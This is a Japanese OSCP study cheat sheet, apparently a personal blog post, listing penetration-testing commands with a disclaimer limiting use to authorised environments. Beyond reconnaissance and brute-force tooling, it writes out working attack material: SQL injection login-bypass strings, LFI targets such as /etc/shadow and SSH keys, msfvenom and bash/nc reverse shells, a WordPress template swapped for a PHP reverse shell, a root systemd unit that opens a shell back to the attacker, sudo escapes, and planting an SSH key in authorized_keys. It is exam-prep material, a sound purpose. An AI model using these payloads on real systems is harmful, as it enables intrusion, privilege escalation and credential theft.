🙄

OSCP学習メモ(チートシート)

2024/10/25に公開

MY CHEAT SHEET(作成中)

本記事は社会秩序に反する行為を推奨することを目的としたものではありません。
本記事は自分自身のペネトレーション勉強のためのものです。
自身の所有する環境、または、許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があることを予めご留意ください。

情報収集

nmap

オプションの説明

  • -sC:スクリプトスキャン
  • -sV:バージョン検出
  • -P0:pingしないで実行
  • -script smb-vuln* -p 139,445 ・・・SMBをスクリプトスキャン
  • -T4:高速スキャン、0は低速
  • -A:強化スキャン(-sC、-sV、-O)
  • -O:OS検出
  • -sU:UDPスキャン、通常のnmapで何も見つけられないときは実行
  • --min-rate=1000:スキャン高速化
  • --open:openしているもののみ表示

使用例

  • nmap -T4 --script vuln [IP]・・・脆弱性のスキャン
  • nmap --script smb-vuln* -p135,445 [IP]・・・SMBの脆弱性スキャン
  • nmap [IP] -p- | tee nmap_output.txt
  • awk '/^[0-9]+\/tcp/ && /open/ {printf "%s,", $1}' nmap_output.txt | sed 's/\/tcp//g' | sed 's/,$//'
  • nmap -sC -sV -A -O -p[上記で取得したポート] [IP]

enum4linux

オプションの説明

  • -a:共有フォルダなどの詳細
  • -o:OS情報
  • -s:共有情報

crackmapexec

使用例

  • crackmapexec smb [IP] -u username -p password
  • crackmapexec smb [IP] -u users.txt -p password
  • crackmapexec ldap [IP]
  • crackmapexec ssh [IP]
  • crackmapexec rdp [IP]
  • crackmapexec smb [IP] -u [ユーザ名] -p [パスワード] --sam
    ※impacket-wmiexec [ユーザ名]@[IP] -hashes [SAMから取得したHASH]

snmp

使用例

  • snmp-check [IP]
  • snmpwalk -t 10 -v [バージョン] -c [コミュニティ名] [IP] > [出力ファイル名]
  • snmpbulkwalkも同様

RPC

使用例

  • rpcclient -U "" [IP]・・・RPCの接続試み、「-U ""」はユーザ名指定なし

mountd(TCP/2049)

使用例

  • showmount -e [IP]
  • showmount -d [IP]・・・マウントされたディレクトリを表示

その後のマウント方法

  • sudo mount [IP]:/path/to/target /local/directory

AD環境のユーザ名列挙

使用例

  • ./windapsearch.py -d [URL] --dc-ip [IP] -U
  • impacket-GetADUsers [URL] -dc-ip [IP] -debug

LDAP

使用例

  • ldapsearch -H [URL:ldap://~] -x -s base namingcontexts

オプションの使用例

  • -x:シンプル認証
  • -D '':バインドDN指定、空の場合は匿名バインド
  • -w '':バインドDNのパスワード指定、空の場合はパスワードなし

dirb

使用例

  • dirb [URL] [ワードリストのパス(*1)] -X .sh等の列挙したい拡張子を,区切りで指定
  • (*1)/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt等

ffuf

使用例

  • ffuf -w [ワードリストのパス] -u [URL、ディレクトリ列挙の場合は「/FUZZ」等追加]
  • ffuf -w [ワードリストのパス] -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [URL] -mr [エラーメッセージ("username already exists")]・・・ペイロードの例、FUZZ部分が調査対象、-dはボディ部分

gobuster

使用例

  • gobuster dir --url [URL] -w [ワードリストのパス]
  • gobuster dir -u [URL] -w [ワードリストのパス] -k -t 40・・・-tはスレッド、-kは証明書エラーを無視
  • gobuster vhost -u [URL] -w [ワードリストのパス] -t 150
  • gobuster dir -k -u [URL] -w [ワードリストのパス] -s '200,204,301,302,307,403,500' -e -x txt -t 30
  • gobuster dir -t 50 -u [URL] -w [ワードリストのパス] -f -x php,txt,py,html,png,jpg -o [出力ファイル名] -k
  • gobuster vhost -u [URL] --domain [DOMAIN] --append-domain -w [ワードリストパス]

オプションの説明

  • dir...ディレクトリ総当たり
  • -t...スレッド数
  • -u...URL指定
  • -w...wordlistの指定
  • -o...ファイル出力
  • -f...ディレクトリの末尾に「/」を追加
  • -x...拡張子指定(IISなら-x asp,aspx,txt等が有効)
  • -k...SSLをスキップ
  • -s...ステータスコードの指定

dirsearch

使用例

  • dirsearch -u [URL]

hydra

使用例

  • hydra -l [USERNAME] -P [パスワードリスト] [IP] -s [ポート] http-post-form "[URL]:[メッセージボディ]:F=[ログイン失敗時のメッセージ]" -V -t 64 -I
  • hydra -l [USERNAME] -P [パスワードリスト] [IP] -V http-form-post "[URL]:[メッセージボディ]:S=Location"・・・F=でうまくいかないとき
    ※Burp等でリクエストをキャッチしてから実行
  • hydra -P [ワードリスト] -v [IP] [プロトコル]
  • hydra -v -V -u -L [ユーザ名リスト] -P [パスワードリスト] -t 1 -u <ip> <protocol>
  • hydra -t 1 -V -f -l [ユーザ名] -P [パスワードリスト] rdp://[IP]

ワードリストの作成例

cewl

  • cewl -d 3 -m 7 -w [出力ファイル名] [URL]

オプションの説明

  • d 3: 深さ3までのリンクを追跡して単語を収集する指定
  • m 7: 最低7文字以上の単語を収集する指定

LFIを利用して読み取りを狙うファイル:

Linux

  • /etc/passwd
  • /etc/shadow
  • /etc/issue
  • /etc/group
  • /etc/hostname
  • /etc/ssh/ssh_config
  • /etc/ssh/sshd_config
  • /root/.ssh/id_rsa
  • /root/.ssh/authorized_keys
  • /home/<username>/.ssh/authorized_keys
  • /home/<username>/.ssh/id_rsa

favicon

https://wiki.owasp.org/index.php/OWASP_favicon_database
上記のサイトでファビコンのハッシュ値を検索することでWebのフレームワークがわかる場合がある。

sqlmap

使用例

  • sqlmap -r [データ(*1)] --dbms=mysql --dump
    (*1)HTTPリクエストを含むファイル
  • sqlmap -u [URL] -D [DATABASE] --tables
  • sqlmap -u [URL] -D [DATABASE] -T [TABLE] --columns
  • sqlmap -u [URL] -D [DATABASE] -T [TABLE] -C fullname,is_admin,password,email --dum
  • sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
  • sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts --dum
  • sqlmap -r [データ(*1)] -p [パラメータ] --level 5 --risk 3 --batch --threads 10 --dbs

オプションの説明

    • --dbms=mysql:データベースの種類を指定
  • --dump:データベースの内容をダンプ
  • -r:リクエストのテキストファイル
  • -u:対象URL指定
  • --batch:バッチモードで実行、対話的なプロンプトが表示されず自動的に検証が行われる。
  • -D:データベース名指定
  • -T:指定したデータベース内のテーブル名を指定
  • --level:テストのレベル、5が最大で一番詳細
  • --risk:リスクの高いテストも実施、3が最大
  • --dbs:データベース一覧を取得
  • -p:インジェクションをテストするパラメータ指定

SQLインジェクション(認証)

試行例

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • /**/or/**/1=1#・・・空白をコメントに置き換える手法

SMB経由の攻撃

  • smbclient //[IP]/[フォルダ名]
  • smbclient \\[IP]\フォルダ名
  • smbclient -L IP
  • smbmap -H IP
  • crackmapexec smb [IP] --shares(共有フォルダの列挙)
  • crackmapexec smb [IP] -u [ユーザ名] -p '[パスワード]' -d [ドメイン] --users
  • impacket-lookupsid [ドメイン]/[ユーザ名]:'[パスワード]'@[ドメイン]

SMB接続の例

  • mkdir share
  • impacket-smbserver public share -smb2support -username [USERNAME] -password PASSWORD
  • C:> copy [リモートのファイルパス(C:\Users~)] \[LOCALIP]\public\使い方
  • crackmapexec smb [ホスト] -u [ユーザ名] -p '[パスワード]'

まるっと取得する

  • mask ""
  • recurse ON
  • prompt OFF
  • mget *

その他Web調査

  • nikto -h [URL]
  • curl -v [URL]
  • curl -I [URL]・・・ヘッダーにヒントがないか、ソースコードに何かヒントがないか調べる。
  • robots.txt,sitemap.xmlの確認
  • CMSの特定
  • デフォルトパスワードの入力(パスワード推測)

アクセスの取得に向けて

hashcat

HASHの形式特定

使い方

  • hashcat -m [hash形式] -a [タイプ] [hash値のファイル] [ワードリスト]

オプション

  • -m:hash値の形式(MD5:0、NTLM:1000)
  • -a:攻撃タイプの指定、「0」なら単語リストを使用したストレート攻撃

Evil-WinRM

使用例

  • evil-winrm -i ホスト -u ユーザ名 -p パスワード

オプションの説明

  • -H:hash値で接続
  • WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用

msf

msfconsole

  • set payload windows/x64/shell/reverse_tcp
  • ctrl+zでバックグラウンド実行
  • そのあとで権限昇格
  • sessions -lで一覧表示
  • sessions -i 番号で復帰
  • upload /home/kali/thm/PowerUp.ps1
  • load powershell
  • powershell_shell

msfconsoleで追加モジュール使用など

  • meterpreter のチェック
  • msf5 exploit(multi/handler) > sessions -i 1
  • meterpreter > load stdapi
  • meterpreter > sysinfo
  • アーキテクチャが違うなどある場合は以下のような方法で移行
  • meterpreter > ps
  • meterpreter > migrate 1148
  • suggester を使う
  • meterpreter > background
  • msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
  • msf5 post(multi/recon/local_exploit_suggester) > set session 1
  • msf5 post(multi/recon/local_exploit_suggester) > run

msfvenom

  • msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f exe -o [ファイル名]

Windowsに対する操作

  • load powershell → powershell_shell:Powershell起動
  • ctrl + zでバックグランド、channelコマンドで復帰
  • shell:CMD起動、exitで抜ける
  • powershell_shell
  • shell
  • exit

sshポートフォワーディング

  • ssh -L 10000:localhost:10000 [USERNAME]@[IP]
    一つ目の「-L 10000」にアクセスすると、SSHで接続しているマシンを踏み台にして「localhost:10000」にアクセスする

wordpress

  • WordPress 管理パネルにログインし、左側の[Appearance] > [Editor]と選択。
  • Templateをリバースシェルコードと置き換え。
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/[IP]/[PORT] 0>&1'");
?>

権限昇格にむけて

情報収集

Linux

  • hostname
  • uname -a
  • uname -r
  • /proc/version
  • /etc/issue
  • ps aux
  • ps -A
  • env
  • sudo -l
  • id
  • cat /etc/passwd | cut -d ":" -f 1
  • history
  • ifconfig
  • netstat
  • ls -l /etc/shadow
  • sudo -l
  • crontab -l

Windows

  • whoami /priv
  • 「ProgramFiles」配下の確認
  • (Get-WmiObject Win32_ComputerSystem).PartOfDomain・・・ドメイン参加か?

SGID、SUIDの探索

  • find / ( -perm -4000 -or -perm -2000 ) -type f -exec ls -la {} ;
  • ls -al ~/;ls -al /home/* / /home/*/.bash_histroy

Powershell実行履歴

  • type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  • Get-Command | Where-Object -Property CommandType -eq Cmdlet | measure
  • Get-FileHash -Path "C:\Program Files\interesting-file.txt.txt" -Algorithm MD5

PowerView

  • . ./PowerView.ps1

pspy

使用例

  • ./pspy64 -pf -i 1000

スクリプトがroot権限で実行可能な場合

  • Perlの場合:sudo /usr/bin/perl -e 'exec "/bin/bash";'
  • Pythonの場合:sudo python3 -c 'import os; os.system("/bin/bash")'
  • AWKの場合:sudo awk 'BEGIN {system("/bin/bash")}'
  • Rubyの場合:exec "/bin/bash -i"

PATHハイジャック

  • PATHハイジャック(可能な限り絶対パスを使用してプログラムを実行することが推奨)
  • export PATH=/home/XXX:$PATH(自身の実行したいプログラムをPATHの先頭に置く)

PuTTYから認証情報を取得する

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

SUID(systemctl)

1.ペイロードを準備する:root.service
2.書き込み可能なファイル/ディレクトリを見つける。

  • find / -type f -maxdepth 2 -writable
  • find / -perm -u=s -type f 2>/dev/null
  • find / -type d -maxdepth 2 -writable
  • find / -writable -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
  • find / -perm -222 -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
  • find / -perm -o w -type d 2>/dev/null: 誰でも書き込み可能なフォルダーを検索
    3.ペイロードを転送または、vi を使用してそこにファイルを書き込む
    4.nc待ち受け
    5.ペイロードを実行
    • /bin/systemctl enable /tmp/root.service
    • /bin/systemctl start root
[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target

その他

Linux関連

  • cat /etc/passwd | grep bash・・・bashのあるユーザを確認
  • tcpdump -ni [インタフェース名] [プロトコル]
  • bash -i >& /dev/tcp/[IPアドレス]/[ポート] 0>&1
  • busybox nc [IP] [ポート] -e bash

echoで簡易的なスクリプト作成(複数行)

  • echo -e '#!/bin/bash\n\n[1行目のコード]\n[2行目のコード]' > [ファイル名]

PowerShell操作系

  • powershell -c Invoke-WebRequest -Uri [URL] -OutFile [ファイル名]

pngファイル作成

  • convert -size 800x600 xc:black [ファイル名]

exeファイルに対して

  • strings [exeファイル]

Python

ファイル授受関係

  • python -m http.server 8000
  • python3 -m uploadserver・・・ファイルのアップロードは/uploadに行う。
  • python3 -c "import requests;requests.post("[URL]/upload",files={"files":open("[ファイルパス]","rb")})"
  • curl -X POST [URL]/upload -H -F 'files=@[ファイル名]'

シェルのアップグレード

  • python3 -c 'import pty;pty.spawn("/bin/bash")'

仮想環境操作関係

  • source ~/mypy/bin/activate
  • pip3 install openai
  • deactivate

自身がコンテナにいるか確認する方法

  • cat /proc/1/cgroup

find系

Windows

  • where /r c:\ [ファイル名]
  • dir 探したいファイル・フォルダ名 /s /p
  • dir /aで隠しファイル含め表示

Linux

  • locate *.txt
  • find / -name *.txt 2>/dev/null

curl

  • curl -OL ファイルのURL

ftp操作

  • open
  • passive
  • bin(通常ASCIIモードだが、これはテキスト専用、エラーが出る)

SSHの接続作成

  • ssh-keygen
  • chmod 600 id_rsa
  • echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/a+B3uPVXXxqv988r+oYNtaAeBuuAnDU+kOl2Y8MMl kali@kali" > .ssh/authorized_keys
  • chmod -R 600 .ssh/
  • ssh -i id_rsa matt@10.10.11.136

base64

  • echo -n “encoded text” | base64 -d

git clone

KaliからのRDP接続

  • xfreerdp /u:[USERNAME] /p:[PASSWORD] /f +fonts +clipboard /v:[IP]
  • /tls-seclevel:0 /timeout:80000(TLS系のエラーが出た時)
  • /size:640x480(画面のサイズ)

IMAP接続

  • a login [ユーザ名] [パスワード]
  • a list "" "*"
  • a select INBOX
  • a fetch body[]

POP接続

  • USER [ユーザー名]
  • PASS [パスワード]
  • LIST

オンラインツール

参考サイト

Discussion